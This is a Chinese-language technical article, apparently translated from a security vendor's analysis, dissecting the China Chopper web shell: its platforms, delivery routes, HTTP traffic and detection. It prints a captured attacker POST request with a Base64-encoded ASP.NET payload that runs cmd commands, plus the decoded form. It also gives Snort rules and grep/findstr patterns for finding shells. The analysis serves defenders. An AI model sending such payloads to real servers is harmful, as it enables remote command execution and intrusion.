第一部分,简单描述了中国菜刀的基本功能。本文我将剖析中国菜刀的平台多功能性、传输机制、交互模式和检测。我希望通过我的讲解,您能够根据您的环境检测出并清除它。

平台

那么中国菜刀可以在哪些平台上运行?答案是任何能够运行JSP、ASP、ASPX、PHP、CFM的Web服务器。这些是大多数Web应用程序语言。那么操作系统呢?中国菜刀足够灵活,可以在Windows和Linux上运行。这种操作系统和应用程序的灵活性使其成为一个更危险的Web shell。

在本系列的第一部分中,我们展示了使用ASPX在Windows 2003 IIS服务器上执行中国菜刀。现在我们将展示它在Linux上运行PHP。如图1所示,PHP版本的内容同样简约:

虽然可用选项因中国菜刀运行的平台而异,但Linux中的文件管理功能与Windows中的类似。如图:

下图显示的数据库客户端示例是MySQL而不是MS-SQL,但它提供了许多相同的功能。

虚拟终端看起来很熟悉,但是使用Linux命令而不是Windows,因为它们最终由底层操作系统解释。

传输机制

由于恶意软件的有效负载的大小,格式和简单性,中国菜刀的交付机制可以非常灵活。可以使用以下任何机制来传递这种基于文本的小型有效负载:

  • WebDAV文件上传
  • JBoss jmx-console或Apache Tomcat管理页面(有关此攻击向量的更多详细信息,请阅读FireEye顾问Tony Lee的解释
  • 远程利用文件丢弃
  • 来自其他访问的横向传播

流量分析

我们现在已经看到了服务器端有效负载和用于控制Web shell的客户端。现在让我们来看看中国菜刀的流量。幸运的是,我们有服务器和客户端组件,因此我们可以启动数据包捕获来查看典型流量的内容。如图所示,客户端使用HTTP POST方法通过TCP端口80启动连接。

因为这是TCP流量,我们可以在Wireshark(一种在Unix和Windows中运行的流行的开源网络协议分析器)中“跟踪TCP”流。在下图中,顶部的红色流量来自攻击者(Web客户端)。底部显示为蓝色的流量是目标(Web shell)的响应。我们可以看到大多数攻击者流量都是Base64编码的。

如上所述,大多数攻击者流量似乎是Base64编码的。但这不是问题,因为它可以很容易地解码。我们使用免费的Fiddler Web调试器的“TextWizard”功能来发现攻击者发送的内容。(注意:%3D是等号的URL编码表示(“=”).Fiddler需要将其转换为等号才能正确解码。)

原始传输数据:

Password=Response.Write("->|");

var err:Exception;try{eval(System.Text.Encoding.GetEncoding().

GetString(System. Convert.FromBase64String

("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5n

LkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZX

N0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0

ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2

U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0

SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZX

RTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0

KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZS

hvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write

("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6

XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

Fiddler Web调试器文本向导可以轻松地将原始流量从Base64转换为纯文本。如图:

解码之后的数据:

varc=newSystem.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding().

GetString(System.Convert.FromBase64String(Request.Item["z1"])));

vare=newSystem.Diagnostics.Process();

varout:System.IO.StreamReader,EI:System.IO.StreamReader;

c.UseShellExecute=false;

c.RedirectStandardOutput=true;c.RedirectStandardError=true;

e.StartInfo=c;c.Arguments="/c"+System.Text.Encoding.GetEncoding().

GetString(System.Convert.FromBase64String(Request.Item["z2"]));

e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();

Response.Write(out.ReadToEnd()+EI.ReadToEnd());

最终我们有更好可读性。但是,我们的Base64解码数据现在正在尝试解码更多存储为z1和z2的Base64数据。回到我们的攻击者数据,在“密码”参数结束后,我们看到z1和z2参数。

我在以下输出中突出显示了Base64编码的参数z1和z2:

&z1 = Y21k&z2 = Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

Base64解码的参数z1和z2:

z1 = cmdz2 = cd / d“c:\ inetpub \ wwwroot \”&whoami&echo [S]&cd&echo [E]

这解释了客户端如何与shell通信。“Password”参数将代码传递给服务端。z1是cmd,z2包含通过cmd / c发送的命令提示符的参数。所有输出都被回发给攻击者,它会对whoami  命令和当前工作目录创建以下响应:

->|nt authority\network service[S]C:\Inetpub\wwwroot[E]|<-

检测

既然我们了解了中国菜刀的内容及其流量,我们就可以专注于在网络和主机层面检测这种害虫的方法。

网络

使用标准的Snort IDS,可以相对轻松地捕获此流量。Keith Tyler在他早期的中国菜刀博客文章中提供了一个基本的IDS签名  :

alert tcp any any -> any  ( sid:; content:"base64_decode";

http_client_body;flow:to_server,established; content:"POST"; nocase;

http_method; ;msg:"Webshell Detected Apache";)

为了减少误报,我们通过查找“FromBase64String”和“z1”的内容来收紧Snort IDS签名以关注中国菜刀,如下所示:

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS 

(msg: "China Chopper with first Command Detected";

flow:to_server,established; content: "FromBase64String";

content: "z1"; content:"POST"; nocase;http_method;

reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/

breaking-down-the-china-chopper-web-shell-part-i.html;

classtype:web-application-attack; sid: ;)

以下IDS签名查找“FromBase64String”的内容以及“z”后跟一到三位的任意组合 - 例如,它会找到“z1”,“z10”或“z100”。想法:如果第一个命令错过(z1),你仍然会捕获后续命令。

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS 

(msg: "China Chopper with all Commands Detected"; flow:to_server,established;

content: "FromBase64String"; content: "z"; pcre: "/Z\d{1,3}/i"; content:"POST"; nocase;http_method;

reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/

breaking-down-the-china-chopper-web-shell-part-i.html;

classtype:web-application-attack; sid: ;)

当考虑深度和偏移时,可以修改这两个IDS签名以进一步优化。在实现和测试签名以确保性能之前,请务必放入有效的SID。

现在我们已经讨论了网络级别的检测,我们将看到主机级别的检测也是可能的。由于shell必须包含可预测的语法,因此我们可以快速尝试查找具有该代码的文件。

主机

可以使用许多方法查找包含中国菜刀的文件。最快捷,最简单的方法,特别是在Linux机器上,可能使用正则表达式。如图所示,跨Web目录的快速egrep可以帮助识别受感染的文件。

egrep -re'[<] [?] php \ s \ @eval [(] \ $ _ POST \ [。+ \] [)]; [?] [>]'* .php

egrepregex  命令是一个强大的组合。虽然正则表达式可能看起来像胡言乱语,但它确实没有看起来那么糟糕。

Windows还提供了一种使用native findstr命令使用正则表达式搜索文件的方法。

您可能已经注意到我们必须稍微更改正则表达式。这是解决findtr解释正则表达式的一些方法所必需的。您将运行的命令如下:

findstr / R“[<] [?] php。\ @ eval [(] \ $ _ POST。* [)]; [?] [>]”* .php

这些示例显示了PHP shell中的检测。要查找ASPX shell,只需修改正则表达式以适合ASPX shell的语法,如下所示:

egrep -re'[<] \%\ @ \ sPage \ sLanguage = .script。\%[>] [<] \%eval.Request \ .Item。+ unsafe'* .aspx
findstr / R“[<] \%\ @。Page.Language = .script。\%[>] [<] \%eval.Request \ .Item。* unsafe”* .aspx

如果您不确定Windows主机上的所有PHP或ASPX文件的位置,可以使用带有一些扩展选项的dir命令来帮助您识别可能要运行我们的正则表达式的 Web文件(参见图)。

dir / S / A / B * .php

Findstr还有一个搜索所有子目录的选项(参见图13)。

findstr / R / S“[<] [?] php。\ @ eval [(] \ $ _ POST。* [)]; [?] [>]”* .php

结语

我希望通过这篇文章,能让大家对中国菜刀的功能、平台多功能性、交付机制、流量分析和检测能够有所了解。

【Web Shell】- 技术剖析中国菜刀 - Part II的更多相关文章

  1. 【Web Shell】- 技术剖析中国菜刀 – Part I

    这里的中国菜刀不是指切菜做饭的工具,而是中国安全圈内使用非常广泛的一款Webshell管理工具,想买菜刀请出门左拐东门菜市场王铁匠处.中国菜刀用途十分广泛,支持多种语言,小巧实用,据说是一位中国军人退 ...

  2. 小白日记51:kali渗透测试之Web渗透-WebShell(中国菜刀、WeBaCoo、Weevely)

    webshell 本质:<?php echo shell_exec($_GET['cmd']);?> windows平台 中国菜刀官网:胖客户端程序,国产中比较优秀的webshell,适用 ...

  3. CTF-练习平台-Misc之 中国菜刀,不再web里?

    八.中国菜刀,不再web里? 下载文件后解压,是一个数据包,用wireshark打开,题中说的是菜刀,那就找http协议,首先过滤出http协议包 在第四个里面找到一句话木马 Flag应该在木马之后拿 ...

  4. Web开发技术发展历史

    Web开发技术发展历史   来自:天码营 原文:http://www.tianmaying.com/tutorial/web-history Web的诞生 提到Web,不得不提一个词就是"互 ...

  5. 【转载】Web开发技术发展历史-版本1

    原文在这里. Web开发技术发展历史 Web的诞生 提到Web,不得不提一个词就是“互联网”.Web是World Wide Web的简称,中文译为万维网.“万维网”和我们经常说的“互联网”是两个联系极 ...

  6. 最新中国菜刀caidao-20160620下载和说明

    0x00 中国制造, 黑客之刀 中国菜刀是中国安全圈内使用非常广泛的一款Webshell管理工具,此次老兵大牛进行了更新,界面更加优美,功能更加丰富,有图有真相! 0x01 验证 此次更新还自带了官网 ...

  7. Web挖掘技术

      一.数据挖掘 数据挖掘是运用计算机及信息技术,从大量的.不全然的数据集中获取隐含在当中的实用知识的高级过程.Web 数据挖掘是从数据挖掘发展而来,是数据挖掘技术在Web 技术中的应用.Web 数据 ...

  8. WCF技术剖析之二十九:换种不同的方式调用WCF服务[提供源代码下载]

    原文:WCF技术剖析之二十九:换种不同的方式调用WCF服务[提供源代码下载] 我们有两种典型的WCF调用方式:通过SvcUtil.exe(或者添加Web引用)导入发布的服务元数据生成服务代理相关的代码 ...

  9. WCF技术剖析之二十八:自己动手获取元数据[附源代码下载]

    原文:WCF技术剖析之二十八:自己动手获取元数据[附源代码下载] 元数据的发布方式决定了元数据的获取行为,WCF服务元数据架构体系通过ServiceMetadataBehavior实现了基于WS-ME ...

随机推荐

  1. C#中如果类的扩展方法和类本身的方法签名相同,那么会优先调用类本身的方法

    新建一个.NET Core项目,假如我们有如下代码: using System; namespace MethodOverload { static class DemoExtension { pub ...

  2. 洛谷NOIp热身赛题解

    洛谷NOIp热身赛题解 A 最大差值 简单树状数组,维护区间和.区间平方和,方差按照给的公式算就行了 #include<bits/stdc++.h> #define il inline # ...

  3. P3674 小清新人渣的本愿

    P3674 小清新人渣的本愿 一道妙不可言的题啊,,, 一看就知道是个莫队 考虑求答案 1号操作就是个大bitset,动态维护当前的bitset \(S\),把能取哪些值都搞出来,只要\(S\ and ...

  4. 【Java多线程】Executor框架的详解

    在Java中,使用线程来异步执行任务.Java线程的创建与销毁需要一定的开销,如果我们为每一个任务创建一个新线程来执行,这些线程的创建与销毁将消耗大量的计算资源.同时,为每一个任务创建一个新线程来执行 ...

  5. DNS DHCP 路由 FTP

    第1章 网络基础 1.1 IP地址分类 IP地址的类别-按IP地址数值范围划分 IP地址的类别-按IP地址用途分类 IP地址的类别-按网络通信方式划分 1.2 局域网上网原理过程 DHCP原理过程详情 ...

  6. [翻译] Python 3.5中async/await的工作机制

    Python 3.5中async/await的工作机制 多处翻译出于自己理解,如有疑惑请参考原文 原文链接 身为Python核心开发组的成员,我对于这门语言的各种细节充满好奇.尽管我很清楚自己不可能对 ...

  7. Cloud Native Weekly | 华为云抢先发布Redis5.0,红帽宣布收购混合云提供商 NooBaa

    1——华为云抢先发布Redis5.0 2——DigitalOcean K8s服务正式上线 3——红帽宣布收购混合云提供商 NooBaa 4——微软发布多项 Azure Kubernetes 服务更新 ...

  8. 180803-Spring定时任务高级使用篇

    Spring定时任务高级使用篇 前面一篇博文 <Spring之定时任务基本使用篇> 介绍了Spring环境下,定时任务的简单使用姿势,也留了一些问题,这一篇则希望能针对这些问题给个答案 I ...

  9. Python学习之路:MINST实战第一版

    1.项目介绍: 搭建浅层神经网络完成MNIST数字图像的识别. 2.详细步骤: (1)将二维图像转成一维,MNIST图像大小为28*28,转成一维就是784. (2)定义好神经网络的相关参数: # M ...

  10. 在WebGL场景中管理多个卡牌对象的实验

    这篇文章讨论如何在基于Babylon.js的WebGL场景中,实现多个简单卡牌类对象的显示.选择.分组.排序,同时建立一套实用的3D场景代码框架.由于作者美工能力有限,所以示例场景视觉效果可能欠佳,本 ...